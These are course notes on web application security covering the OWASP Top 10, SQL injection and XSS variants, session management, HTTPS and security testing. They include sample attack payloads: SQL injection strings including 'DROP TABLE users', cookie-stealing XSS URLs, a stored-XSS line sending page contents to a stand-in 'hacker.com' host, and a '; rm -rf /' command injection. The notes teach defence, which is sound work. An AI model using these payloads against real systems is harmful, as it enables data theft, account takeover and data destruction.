

Unit 2: Web Application Security and Secure Development

OWASP Top 10 Security Risks

OWASP (Open Web Application Security Project) is a global non-profit that identifies the most critical security risks to web applications based on real-world data. These are the "must-know" vulnerabilities for developers and security professionals.

1. Injection Attacks

Injection occurs when an attacker sends malicious input that is treated as a command by the application instead of normal data.

- **Core Logic:** Dynamic queries are built using string concatenation, mixing trusted code with untrusted data.
- **Common Targets:**
 - **SQL:** To bypass logins or dump database records.
 - **OS/Command:** To run system-level commands on the server.
 - **LDAP:** To retrieve information about users/devices in a network directory.

SQL Injection: Specific Types

SQL Injection Type	Definition	Example Input/Command	Scenario
Classic (In-band) SQL Injection	Attacker sends SQL code and gets the result on the same page	' OR 1=1 --'	Login form where student enters this input and logs in without password
Error-Based SQL Injection	Attacker forces the database to show error messages to get info	' OR 1=1 AND updatexml(1,concat(0x7e,database()),1) --	Website shows database name in error message on screen
Union-Based SQL Injection	Attacker uses UNION to combine malicious query with original query	' UNION SELECT username, password FROM users --	Instead of products list, page shows usernames and passwords
Blind SQL Injection	No output or error shown; attacker guesses using true/false questions	' AND 1=1 -- / ' AND 1=2 --	Page loads normally for true condition, fails for false
Time-Based SQL Injection	Attacker uses delay (time) to know if condition is true	' OR IF(1=1, SLEEP(5), 0) --	Page takes 5 seconds to load, attacker confirms vulnerability
Stored (Second-Order) SQL Injection	Malicious input is stored first and executed later	'; DROP TABLE users --	Student enters payload in profile name, admin later views profile , attack executes

SQL Injection Types & Examples

1. In-Band (Classic) SQLi

This is the most common type. The attacker uses the same communication channel to launch the attack and gather results.

- Example: Login Bypass
 - Vulnerable Query: `SELECT * FROM users WHERE username = '$user' AND password = '$pass'`
 - Attacker Input: Username: admin' -- | Password: (anything)
 - What the Database Sees: `SELECT * FROM users WHERE username = 'admin' --' AND password = '...'`
 - Explanation: The -- is a comment in SQL. It tells the database to ignore the rest of the line (the password check). The attacker logs in as "admin" without knowing the password.

2. Inferential (Blind) SQLi

No data is actually transferred to the attacker via the web page. The attacker observes the response or behavior of the server to "guess" data.

- A. Boolean-Based Blind SQLi
 - Scenario: A profile page `website.com/user?id=1` loads normally.
 - Attacker Input: `1 AND 1=1` (Page loads normally)
 - Attacker Input: `1 AND 1=2` (Page shows "User not found" or an error)
 - The Attack: The attacker asks: `1 AND (SELECT SUBSTR(password,1,1) FROM users WHERE id=1)='a'`
 - Result: If the page loads normally, the attacker knows the first letter of the password is 'a'.
- B. Time-Based Blind SQLi
 - Scenario: The page looks the same regardless of the query.
 - Attacker Input: `1; IF (1=1) WAITFOR DELAY '0:0:10'`
 - Result: If the page takes exactly 10 seconds to respond, the attacker has confirmed the vulnerability and can start "asking" the database questions based on time delays.

3. Union-Based SQLi

This uses the UNION operator to combine the results of the original query with a completely different table.

- Example: Data Extraction
 - Vulnerable Query: `SELECT name, description FROM products WHERE id = [ID]`
 - Attacker Input: `10 UNION SELECT username, password FROM users`
 - What the Database Sees: It joins the product list with the sensitive user list.
 - Result: The web page, which usually displays a product name and description, now displays usernames and passwords on the screen.

4. Error-Based SQLi

The attacker intentionally sends malformed input to force the database to spit out an error message that contains internal data.

- Example: Version Discovery
 - Attacker Input: `1' AND 1=(SELECT CONCAT('!!', VERSION(), '!!'))--`
 - Resulting Error: The conversion of varchar value '!!MySQL 8.0.21!!' failed...
 - Explanation: Even though the query failed, the error message revealed that the server is running MySQL 8.0.21, allowing the attacker to look up specific exploits for that version.

5. Second-Order (Stored) SQLi

The malicious input is not executed immediately but is stored in the database and executed later when another function is called.

- Example: The Profile Name Trap
 - Step 1 (Input): An attacker signs up with the username: `admin' --`
 - Step 2 (Execution): Later, a developer writes a script to delete inactive users: `DELETE FROM users WHERE username = '$name'`
 - Result: When the script hits the attacker's name, the query becomes `DELETE FROM users WHERE username = 'admin' --'`.

- Catastrophe: Instead of deleting the attacker, the script deletes the actual admin account because of the comment syntax.

The "Secure Method": Prepared Statements

OWASP recommends **Prepared Statements** (Parameterized Queries) as the primary defense.

- **Vulnerable (Concatenation):** Data is mixed with code; the database tries to "run" the user input.
- **Secure (Prepared):** The "template" is sent first. User input is treated as **plain text only**. An input of ' OR 1=1 is just searched as a literal string, not a command.

Cross-Site Scripting (XSS)

XSS occurs when an application includes untrusted data in a web page without proper validation or escaping. This allows the attacker to execute scripts in the victim's browser, bypassing the **Same-Origin Policy (SOP)**.

1. Reflected XSS (Non-Persistent)

This is the most common type. The malicious script is "reflected" off a web application to the victim's browser. It is usually delivered via a link in an email or a chat message.

- **The Scenario:** A search page displays the term the user searched for.
- **Vulnerable Code (PHP):** `echo "<div> You searched for: " . $_GET['search'] . "</div>";`
- **The Attack** **URL:**
[https://bank.com/search?search=<script>alert\(document.cookie\)</script>](https://bank.com/search?search=<script>alert(document.cookie)</script>)
- **Step-by-Step Flow:**
 1. **Craft:** Attacker creates a URL containing a script and sends it to the victim.
 2. **Click:** Victim clicks the link believing it is a legitimate bank URL.
 3. **Reflect:** The bank's server takes the script from the URL and writes it directly into the HTML response.
 4. **Execute:** The victim's browser sees the `<script>` tag and executes it, sending the victim's session cookie to the attacker's server.

2. Stored XSS (Persistent)

This is more dangerous because the script is permanently stored on the target server (e.g., in a database, in a comment field, or user profile).

- **The Scenario:** A social media site allows users to post comments.
- **Vulnerable Code (JS/HTML):** `<p>User Comment: ${commentFromDatabase}</p>`
- **The Attack:** An attacker posts a comment like this: "I love this post! `<script>fetch('https://hacker.com/steal?data=' + document.body.innerHTML)</script>`"
- **Step-by-Step Flow:**
 1. **Inject:** Attacker submits the malicious comment. The server saves it in the database.
 2. **Trigger:** Every user who visits that page later pulls the "comment" from the database.
 3. **Execute:** Because the script is now part of the page content, every visitor's browser executes the code automatically. This can lead to a mass account takeover.

3. DOM-Based XSS

Unlike the first two, the entire attack happens in the client-side code (the browser). The malicious script never even touches the web server.

- **The Scenario:** A site uses JavaScript to read a name from the URL and write it to the page to welcome the user.
- **Vulnerable Code (JavaScript):**

```
var name = new
URLSearchParams(window.location.search).get("name");
document.getElementById("welcome").innerHTML = "Hello, " + name;
```
- **The Attack URL:** `https://site.com/welcome.html?name=<img src=x onerror=alert('DOM_XSS')>`
- **Step-by-Step Flow:**
 1. **Manipulate:** The attacker crafts a URL where the name parameter contains a "broken" image tag with an onerror event.
 2. **Local Execution:** The browser's JavaScript reads the URL, finds the malicious string, and uses `.innerHTML` to write it into the page's Document Object Model (DOM).
 3. **Activation:** The browser tries to load the image x, fails, and triggers the alert.

Prevention Strategies: Technical Examples

To stop XSS, you must treat all user-supplied data as untrusted.

1. **Output Encoding:** Convert special characters into HTML entities so the browser treats them as text, not code.
 - **Original:** <script>
 - **Encoded:** <script> (The browser will print this on screen rather than running it).
2. **Input Sanitization:** Use libraries (like **DOMPurify**) to "clean" HTML and strip out dangerous tags like <script>, <iframe>, and onmouseover.
3. **Content Security Policy (CSP):** A modern browser security layer. You can tell the browser: *"Only execute scripts that come from my own domain."*
 - **Example Header:** Content-Security-Policy: script-src 'self';
 - This would block the attacker's script even if they successfully injected it, because the script source wouldn't be "self."
4. **HttpOnly Cookies:** Set the HttpOnly flag on session cookies. This prevents JavaScript (document.cookie) from being able to read the cookie, making XSS much less "profitable" for an attacker.

Broken Authentication

Broken authentication is a broad category referring to vulnerabilities in the functions that verify a user's identity and manage their active state (session).

Examples & Scenarios

- **Credential Stuffing (Automated Attack):**
 - **The Scenario:** Attackers use a list of billions of username/password pairs leaked from other websites (like the LinkedIn or Yahoo breaches).
 - **The Flaw:** If the application does not have **Rate Limiting** or **MFA**, the attacker's bot can try thousands of logins until one works. Even a 0.1% success rate allows them to take over thousands of accounts.
- **Session ID in URLs (Session Exposure):**

- **The Scenario:** A web app includes the session token in the address bar: `https://example.com/dashboard?session_id=ASDF123456`.
- **The Flaw:** If the user shares that link, or if the browser history is viewed, an attacker can copy that ID and paste it into their own browser to "become" that user without ever needing a password.
- **Weak Session Timeout:**
 - **The Flaw:** If a user logs in at a public library and forgets to "Log Out," but the application keeps the session active for 24 hours, the next person to use that computer has full access to the account.

Prevention

- **Session ID Rotation:** The application should issue a **new** session ID immediately after a successful login. This prevents "Session Fixation" attacks where an attacker "sets" a ID for a victim to use.
- **Multi-Factor Authentication (MFA):** This is the single most effective defense. Even if an attacker steals a password, they cannot enter the account without the physical token (phone app/SMS).

Security Misconfiguration

This vulnerability is unique because it isn't necessarily a "coding" error; it is an **administrative** error. It occurs when a system is left in a "default" or "debug" state that is helpful for developers but dangerous for production.

- **Common Examples:**
 - Leaving default login credentials (e.g., admin/admin).
 - Running unnecessary services or having improper file permissions.
 - Displaying detailed error messages (stack traces) to the user.
 - Running unpatched or outdated software.
- **Prevention:** Secure installation processes, removing unused features, and automating configuration checks.

Sensitive Data Exposure (Cryptographic Failures)

Sensitive Data Exposure occurs when an application fails to adequately protect confidential information, allowing unauthorized parties to read, steal, or modify it. It is primarily a failure of **cryptography** and **access control**.

I. Classification of Sensitive Data

In a professional or academic environment, data is classified based on its sensitivity:

- **PII (Personally Identifiable Information):** Aadhaar numbers, PAN, phone numbers, and addresses.
- **Financial Data (PCI):** Credit/Debit card numbers and bank account details.
- **Authentication Data:** Plain-text passwords, session tokens, and cookies.
- **Protected Health Information (PHI):** Medical records and history.

II. Vulnerabilities by Data State

Category	Vulnerability	Technical Example
Data in Transit	Cleartext Transmission	Sending login credentials over HTTP instead of HTTPS .
Data at Rest	Weak Cryptography	Storing passwords using MD5 or SHA1 (which are easily "cracked" via rainbow tables).
Improper Storage	Hardcoding Secrets	Placing API keys or DB passwords directly in the source code (GitHub leaks).
Server Config	Information Leakage	Leaving Debug Mode ON , which displays system logs and environment variables to users.

III. Detailed Attack Scenario: "The Man-in-the-Middle"

1. **Connection:** A user logs into a shopping site using a public Wi-Fi network at a cafe.
2. **Intercept:** Because the site uses **HTTP** (unencrypted), the data is sent in "cleartext."
3. **Capture:** An attacker on the same network uses a **Packet Sniffer** (e.g., **Wireshark**) to capture the data packets flying through the air.

4. **Exploit:** The attacker opens the packet and reads the username and password directly. This leads to an immediate **Account Takeover**.

Input validation and sanitization

In security, the golden rule is: "**Never trust user input.**" Input can come from forms, URL parameters, cookies, or even HTTP headers. If not handled, this data can move from the **Data Plane** (where it should be) to the **Control Plane** (where it is executed as code).

Input Validation (The "Filter")

Definition: The process of ensuring that data conforms to specific expectations *before* it is accepted by the application.

Purpose of Input Validation

- Ensures **data correctness**
- Prevents **invalid or malicious input**
- Stops attacks **before processing**
- Maintains **application reliability and security**

Types of Input Validation Techniques

1. Data Type Validation

Ensures that the input matches the expected data type.

Examples:

- Age must be a **number**
- Email must be a **string**

2. Length Validation

Restricts input to a specified number of characters.

Examples:

- Username: **5–15 characters**
- Password: **Minimum 8 characters**

Benefit: Helps prevent buffer overflow attacks and excessive data storage.

3. Format / Pattern Validation

Uses regular expressions (regex) to verify that input follows a required structure.

Examples:

- Email: name@domain.com
- Phone number: **10 digits**

Benefit: Ensures standardized and usable data.

4. Range Validation

Checks whether numeric input falls within an acceptable boundary.

Examples:

- Marks: **0 to 100**
- Age: **18 to 60**

Benefit: Prevents unrealistic or meaningless values.

5. Allow-list (Whitelisting) and Block-list (Blacklisting)

- **Allow-list:** Accept only predefined safe characters.
Example: A–Z, a–z, 0–9
- **Block-list:** Reject dangerous characters such as
< > " ' /

Input Sanitization (The "Cleaner")

Definition: The process of modifying input to ensure it is safe for processing or storage, typically by removing or "neutralizing" dangerous characters.

What is Typically Removed?

- `<script>` tags
- SQL symbols such as ' and --
- Embedded JavaScript code

Input Sanitization Techniques

1. Removing or Modifying Harmful Characters

Deletes characters that attackers commonly exploit.

2. Normalizing Input Data

Converts data into a consistent format (e.g., trimming spaces, converting text to lowercase).

3. Escaping Special Characters

Transforms special characters so they are treated as text rather than executable code.

Example:

```
<script>alert("Hacked")</script>
```

becomes harmless when `<` and `>` are escaped.

4. Input Filtering

Applies filters to detect and remove suspicious content before storage or display.

Attacks Due to Poor Input Handling

Failure to validate and sanitize input can lead to serious security threats:

- **SQL Injection** – Attackers manipulate database queries.
- **Cross-Site Scripting (XSS)** – Malicious scripts execute in users' browsers.
- **Command Injection** – Unauthorized system commands are executed

How to Prevent these attacks:

Attack	How it Works	Defensive Strategy
SQL Injection (SQLi)	Attacker inputs database commands into a form.	Input Validation (type checking) + Prepared Statements.
Cross-Site Scripting (XSS)	Attacker inputs JavaScript that runs in other users' browsers.	Input Sanitization + Output HTML Encoding.
Command Injection	Attacker inputs OS commands (e.g., ; rm -rf /) into a system call.	Allow-listing + avoiding system shell calls.

Best Practices for Input Validation and Sanitization

- Validate input at **both client and server sides**
- Use **parameterized queries and prepared statements** to prevent SQL injection
- Implement **output encoding** to stop XSS attacks
- Prefer **allow-list validation** over block-listing
- Use trusted **validation libraries**
- Conduct **regular security testing and code reviews**
- Stay updated on emerging **security vulnerabilities**

Secure coding principles

Secure coding refers to the practice of writing software in a way that **prevents vulnerabilities and protects applications from cyberattacks**.

Secure coding is a set of principles, techniques, and best practices that developers follow to build software resistant to security threats. Since programming problems can be solved in multiple ways, secure coding encourages developers to adopt the **most secure approach rather than the fastest one**.

One important strategy is the “**default deny**” **principle**, where access to sensitive resources is denied unless a user can prove authorization.

Core Principles of Secure Coding

1. Never Trust User Input

All external input should be treated as untrusted.

Practices include:

- Validate data type
- Validate length
- Validate format
- Use allow-lists

Example:

Age field should accept only numbers between 18–60.

2. Input Validation and Sanitization

- Validation: Ensures data meets predefined rules.
- Sanitization: Removes harmful characters such as scripts or SQL symbols.

Together, they prevent attacks like SQL Injection and Cross-Site Scripting (XSS).

3. Authentication and Authorization

- Authentication: *Who are you?* — verifies user identity through passwords, biometrics, etc.
- Authorization: *What can you do?* — determines user permissions after authentication.

Proper implementation ensures that only authorized users access sensitive resources.

4. Principle of Least Privilege

Users and applications should be granted minimum access rights necessary to perform their tasks.

Limits damage if an account is compromised.

5. Defense in Depth

Security should not rely on a single protective layer. Instead, multiple mechanisms such as firewalls, encryption, and access controls should work together.

Result: If one layer fails, others continue to provide protection.

6. Proper Error Handling and Logging

Error messages should not reveal sensitive system details to users.

- Handle errors gracefully
- Maintain logs to track suspicious activity
- Store logs securely for auditing

This helps developers detect and fix vulnerabilities early.

7. Keep Software Updated (System Configuration)

Outdated software is a major source of cyber vulnerabilities.

Best practices include:

- Removing unnecessary components
- Applying patches regularly
- Securing development and production environments

Patch management systems help organizations stay protected.

OWASP Secure Coding Best Practices

The Open Web Application Security Project (OWASP) provides a checklist to strengthen application security. The top practices include:

1. Security by Design

Security should be integrated from the beginning rather than added later. Continuous source code analysis and security automation should be part of the SDLC.

2. Password Management

Passwords remain a common attack target; therefore:

- Store only salted cryptographic hashes
- Never store plain-text passwords
- Enforce password complexity
- Disable accounts after multiple failed attempts
- Consider multi-factor authentication (MFA)

3. Access Control

Adopt a default deny approach:

- Grant access only to authorized users
- Verify every request for sensitive data
- Restrict privileges wherever possible

4. Error Handling and Logging

Securely manage system errors without exposing confidential information while recording events to identify potential threats.

5. System Configuration

Configure hardware and software securely before deployment to minimize vulnerabilities.

6. Threat Modeling

Threat modeling involves identifying, analyzing, and prioritizing potential threats.

Steps include:

1. Document the system
2. Locate vulnerabilities
3. Address risks
4. Validate security controls

This proactive approach strengthens defenses.

7. Cryptographic Practices

Encrypt sensitive data using modern algorithms and implement strong key management techniques to maintain confidentiality during storage and transmission.

8. Input Validation and Output Encoding

Validate all untrusted inputs and encode outputs so that browsers interpret them as data rather than executable scripts.

Secure Coding Across the Software Development Life Cycle (SDLC)

Secure coding must be applied throughout the SDLC:

- Requirements Phase: Identify sensitive data
- Design Phase: Perform threat modeling
- Development Phase: Follow secure coding principles
- Testing Phase: Conduct penetration testing
- Deployment & Maintenance: Regular updates and patching

Secure coding is essential for building resilient applications. By following security principles and implementing best practices throughout the SDLC, organizations can significantly reduce vulnerabilities and protect against modern cyber threats.

Authentication and Session Management

Introduction

Authentication and session management are critical components of web application security. Authentication verifies the identity of a user, while session management maintains the user's authenticated state across multiple requests.

Since HTTP is a **stateless protocol**, servers cannot automatically remember users. Therefore, once a user is authenticated, a session is created to store information such as login status, permissions, and user preferences.

Authentication

Definition

Authentication is the process of verifying **“Who the user is”** before granting access to a system. It ensures that only legitimate users can access protected resources.

Types of Authentication

1. Password-Based Authentication

This is the most common authentication method where users log in using a username and password.

Risk:

Weak passwords can be easily guessed, leading to unauthorized access.

Best Practice:

Use strong passwords with proper complexity requirements and encryption.

2. Multi-Factor Authentication (MFA)

Multi-Factor Authentication requires users to provide **two or more verification factors**, such as:

- Something you know (Password)
- Something you have (OTP or smart card)
- Something you are (Biometrics)

Advantage:

Provides higher security because compromising one factor is not enough for attackers.

3. Token-Based Authentication

In this method, users receive a secure token (e.g., JWT) after successful login. This token is sent with every request to verify identity.

Usage:

Commonly used in APIs, mobile applications, and modern web services.

Benefit: Reduces the need to repeatedly send credentials.

Session Management

Definition

Session management is a mechanism used by web applications to **identify and track users across multiple requests** after authentication.

When a user logs in successfully, the server generates a **Session ID**, which acts as proof of authentication and is sent with each request.

Importance of Session Management

A session ID is as powerful as a user's password. If an attacker steals or predicts it, they can impersonate the user — an attack known as **Session Hijacking**.

Therefore, secure session management is essential for protecting user accounts and sensitive data.

Properties of a Secure Session ID

A secure session ID should possess the following characteristics:

- 1. Unpredictable and Random**
- 2. Meaningless**
- 3. Sufficient Length**
- 4. Generic Name**

Session ID Storage and Transmission

The safest method to store and transmit session IDs is through **cookies**.

Secure Cookie Attributes

Cookies used for sessions should include the following security flags:

- **Secure:** Sent only over HTTPS to prevent interception
- **HttpOnly:** Blocks JavaScript access, protecting against XSS attacks
- **SameSite:** Prevents Cross-Site Request Forgery (CSRF)
- **Restricted Domain and Path:** Limits where cookies are transmitted

Session Expiration

Sessions should not remain active indefinitely.

Types of Timeouts:

1. **Idle Timeout:** Ends the session after a period of inactivity.
2. **Absolute Timeout:** Terminates the session after a fixed duration.
3. **Logout:** Allows users to manually destroy the session.

After expiration or logout:

- The session must be destroyed on the server.
- The session ID must be removed from the client.

Session ID Regeneration

The session ID should be regenerated after critical events such as:

- User login
- Password change
- Role or privilege modification

Purpose: Prevents **session fixation attacks**, where attackers force a user to use a known session ID.

Protection Against Session Attacks

To strengthen session security, web applications should:

- Detect session ID guessing attempts
- Bind sessions to IP address or User-Agent for anomaly detection
- Log session creation and destruction
- Avoid storing session IDs in logs

Relationship Between Authentication and Session Management

Authentication confirms the user's identity, while session management ensures that the verified user remains authenticated during interaction with the application.

**Without authentication — no session is created.
Without secure session management — authentication becomes useless.**

Both mechanisms must work together to provide strong application security.

Authentication and session management form the backbone of web security. While authentication verifies user identity, session management maintains trust throughout the interaction. Implementing secure authentication methods and robust session controls helps prevent attacks such as session hijacking and fixation, thereby protecting sensitive data and ensuring safe user access.

HTTPS Implementation

HTTPS (HyperText Transfer Protocol Secure) is the secure extension of the standard HTTP application layer protocol. It integrates **SSL (Secure Sockets Layer)** or the more modern **TLS (Transport Layer Security)** protocols to establish an encrypted tunnel between a client (web browser) and a web server. The primary objective is to provide **Confidentiality** (encryption), **Integrity** (data protection), and **Authentication** (identity verification).

Cryptographic Foundations (The Hybrid Model)

HTTPS uses a **Hybrid Cryptosystem** to balance security and performance.

- **Asymmetric Encryption (Public-Key Infrastructure)**
- **Symmetric Encryption (Session-Based)**
- **Hashing (Integrity)**

The TLS Handshake Process

The establishment of a secure session follows a rigorous multi-step protocol:

1. **Client Request:** The browser initiates the request using `https://` and proposes supported cipher suites.
2. **Server Response & Certificate Exchange:** The server sends its **X.509 Digital Certificate** containing its domain name and public key to the browser.
3. **Verification:** The browser verifies the certificate against a list of trusted **Certificate Authorities (CAs)** (e.g., DigiCert, Let's Encrypt) to ensure the website's identity is authentic.

4. **Key Exchange:** The browser generates a pre-master secret, encrypts it with the server's public key, and sends it back.
5. **Session Key Derivation:** Both parties independently derive a **Symmetric Session Key** from the secret.
6. **Secure Communication:** Encrypted data transmission begins using the symmetric key for the remainder of the session.

Implementation Lifecycle

Implementing HTTPS involves several critical steps within the server configuration and development lifecycle:

Step 1: Obtaining the Certificate

- Generate a Certificate Signing Request (CSR).
- Purchase or generate a certificate from a trusted CA.
- Ensure the certificate contains the correct domain and public key.

Step 2: Server Configuration

- **Installation:** Install the certificate on the web server (Apache, Nginx, or IIS).
- **Secure Storage:** The private key must be stored securely on the server and never shared.
- **Protocol Hardening:** Enable port **443** for HTTPS traffic and redirect all port 80 (HTTP) traffic to port 443.

Step 3: Security Testing (SDLC Integration)

- **Vulnerability Scanning:** Identify weak cipher suites or expired certificates.
- **Penetration Testing:** Simulate attacks to ensure the encrypted tunnel cannot be bypassed.
- **Configuration Review:** Verify secure session handling and ensure default passwords are removed from the environment.

Summary Table: HTTP vs. HTTPS

Feature	HTTP (Standard)	HTTPS (Secure)
Port	80	443

Feature	HTTP (Standard)	HTTPS (Secure)
Data Format	Plaintext (ASCII)	Encrypted (Ciphertext)
Protocol	Application Layer	Application + SSL/TLS
SEO Ranking	Neutral	High (Ranking Signal)
Identity Proof	No Authentication	Digital Certificate required +1

While HTTPS introduces slight performance overhead and requires ongoing certificate management, it is essential for protecting sensitive data and building user trust. In the modern web, it is a mandatory requirement for online banking, e-commerce, and any system requiring authentication.

Security Testing in the Software Development Life Cycle (SDLC)

Security testing is a critical branch of software testing aimed at identifying vulnerabilities, threats, and risks within a software application. In modern Cyber Security, the goal is no longer just to find bugs, but to ensure that the system protects data and maintains functionality as intended, even under attack.

Traditionally, security was an afterthought. However, contemporary methodologies advocate for "**Shift Left Security**," which integrates security protocols into every stage of the SDLC to identify flaws early, thereby reducing remediation costs and enhancing system resilience.

Security Testing in Development Lifecycle

Security testing should not be done only at the end. It must be performed in every phase of SDLC.

1. Requirement Phase

- Identify security requirements (password protection, data privacy).
- Define compliance needs (GDPR, PCI-DSS).

Example: Login system must use strong password policy.

2. Design Phase

- Perform threat modeling.

- Identify attack surface.
- Plan security architecture.

Example: Use HTTPS, input validation, role-based access control.

3. Development Phase

- Follow secure coding standards.
- Perform Static Application Security Testing (SAST).
- Conduct code reviews.

Example: Check for SQL Injection in login form.

4. Testing Phase

- Perform Dynamic Application Security Testing (DAST).
- Conduct penetration testing.
- Do vulnerability scanning.

Example: Try XSS, SQL injection, broken authentication attacks.

5. Deployment & Maintenance Phase

- Security configuration review.
- Continuous monitoring.
- Patch management.

Example: Update server to fix zero-day vulnerability

Core Methodologies of Security Testing

Method	Description	Primary Goal
SAST (White Box)	Inside-out testing; looks at code.	Finds flaws early in the dev cycle.
DAST (Black Box)	Outside-in testing; looks at the running app.	Finds environmental and runtime issues.

Method	Description	Primary Goal
Vulnerability Assessment	Scanning for known signatures/weaknesses.	Broad identification of known risks.
Penetration Testing	Targeted, manual attack simulation.	Evaluates the depth of a potential breach.

Security testing in the SDLC is not a one-time event but a continuous process. By adopting a "Shift Left" mentality and integrating automated tools (SAST/DAST) alongside manual reviews, organizations can transition from a "reactive" security posture to a "proactive" one. While challenges like rapid delivery cycles (DevOps) exist, the integration of security (DevSecOps) is essential for building robust, modern software.

Web Application Scanners

A web application scanner is an automated security tool designed to identify vulnerabilities in web applications by simulating real-world cyberattacks. These scanners send HTTP requests to the application and analyze responses to detect security weaknesses.

Web scanners are essential because modern web applications are highly complex, and manual testing alone is time-consuming. Automation helps organizations detect vulnerabilities early and strengthen their security posture.

How Web Application Scanners Work

Scanners use a **crawler (spider)** to explore the entire website, mapping directories, links, forms, cookies, and parameters. After mapping, they perform **fuzzing**, which involves sending unexpected or malicious inputs (e.g., ' OR 1=1) to observe how the server responds.

Types of Web Application Scanners

- **SAST (Static Application Security Testing):** Analyzes source code during development to detect flaws. It is fast but cannot observe runtime behavior.
- **DAST (Dynamic Application Security Testing):** Tests a running application from an external attacker's perspective without access to source code.
- **IAST (Interactive Application Security Testing):** Combines SAST and DAST by monitoring the application internally while it runs, providing deeper insights.

Common Vulnerabilities Detected

- SQL Injection
- Cross-Site Scripting (XSS)
- Broken Authentication
- Security Misconfiguration
- Sensitive Data Exposure

Limitation

Automated tools may produce false positives, so their results should always be verified through manual testing.

Conclusion: Web application scanners act as the first line of defense by automating vulnerability detection, reducing risks, and improving overall application security.

Penetration Testing

Penetration testing is a structured process of legally attacking a system to identify security weaknesses before malicious attackers can exploit them. It is a simulated cyberattack performed by security professionals to evaluate defenses and prevent data breaches, financial loss, and reputational damage.

Unlike automated scanners that detect common issues, penetration testing focuses on discovering complex logical flaws that require human expertise.

Types of Penetration Testing

- **Black Box Testing:** The tester has no prior knowledge of the system and tests from an external attacker's viewpoint.
- **Grey Box Testing:** The tester has partial knowledge, simulating an insider threat.
- **White Box Testing:** The tester has complete system knowledge, allowing a deeper security analysis.

Penetration Testing Methodology

1. **Reconnaissance:** Gathering information about the target using techniques such as Open Source Intelligence (OSINT).
2. **Scanning:** Identifying open ports, services, and potential vulnerabilities.
3. **Enumeration:** Extracting details like users, system data, and entry points.

4. **Exploitation:** Attempting attacks such as SQL Injection or XSS to gain unauthorized access.
5. **Pivoting (Lateral Movement):** Using an initial breach to access other internal systems.
6. **Reporting:** Documenting vulnerabilities and assigning risk ratings (e.g., CVSS) along with recommended fixes.

Conclusion: Penetration testing is a proactive security measure that helps organizations understand real attack scenarios and strengthen their defenses against cyber threats.

Vulnerability Assessment

A **vulnerability assessment** is a systematic process of identifying, analyzing, and prioritizing security weaknesses in a system without actively exploiting them. Its primary objective is risk detection and remediation.

It is considered a policy-driven approach focused on maintaining a secure infrastructure through continuous monitoring and improvement.

Steps in Vulnerability Assessment

1. **Asset Identification:** Determine which systems, networks, and applications require testing.
2. **Vulnerability Discovery:** Use automated tools and manual techniques to detect weaknesses.
3. **Risk Analysis:** Assign severity levels such as High, Medium, or Low based on likelihood and business impact.
4. **Reporting:** Document vulnerabilities with descriptions and recommended solutions.
5. **Remediation & Patch Management:** Apply fixes such as secure configurations, input validation, and software updates.
6. **Re-assessment:** Retest systems to ensure vulnerabilities are successfully resolved.

Key Concepts

- **Threat Surface:** All possible entry points attackers can exploit, including forms, APIs, and cookies.
- **False Positives:** Tool-reported vulnerabilities that are not actually exploitable.
- **Business Impact:** The effect on confidentiality, integrity, and availability of data.

Conclusion: Vulnerability assessment functions as a security “health check,” enabling organizations to systematically manage risks and maintain a strong security posture.